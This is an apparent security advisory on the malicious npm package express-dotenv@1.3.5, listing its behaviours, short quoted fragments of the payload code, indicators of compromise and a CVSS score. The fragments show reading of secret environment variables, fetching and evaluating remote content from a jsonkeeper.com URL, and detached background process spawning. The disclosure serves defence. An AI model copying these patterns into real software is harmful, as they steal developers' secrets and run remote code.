GCVE-110-OSM-2026-3135

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 24, 2026

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Payload: lib/caller.js Key findings: - Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "..." - Environment Variable Exfiltration in lib/caller.js: "process.env.DEV_SECRET_KEY; const v = process.env.DEV_SECRET_VALUE; let ret..." - Global Variable Shadowing in lib/caller.js: "const process = {" - Fetch and Eval/Exec in lib/caller.js: "axios.get(src, { headers: { [k]: v } })).data.cookie; const handler = new ..." - Decoded Base64 Content in lib/const.js IOCs: - urls: http://192.168.1.42:9200, https://jsonkeeper.com/b/ZK45J - domains: jsonkeeper.com - payloadFileHash: b0098181dcb3b52d59bde530630ccf4580e8c2fa9467edbacaab217bf824bc77 Decoded/deobfuscated IOCs: - urls: https://jsonkeeper.com/b/ZK45J - domains: jsonkeeper.com

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	express-dotenv@1.3.5	all (affected)	—

References

Malicious npm package: express-dotenv@1.3.5

advisory

vendor

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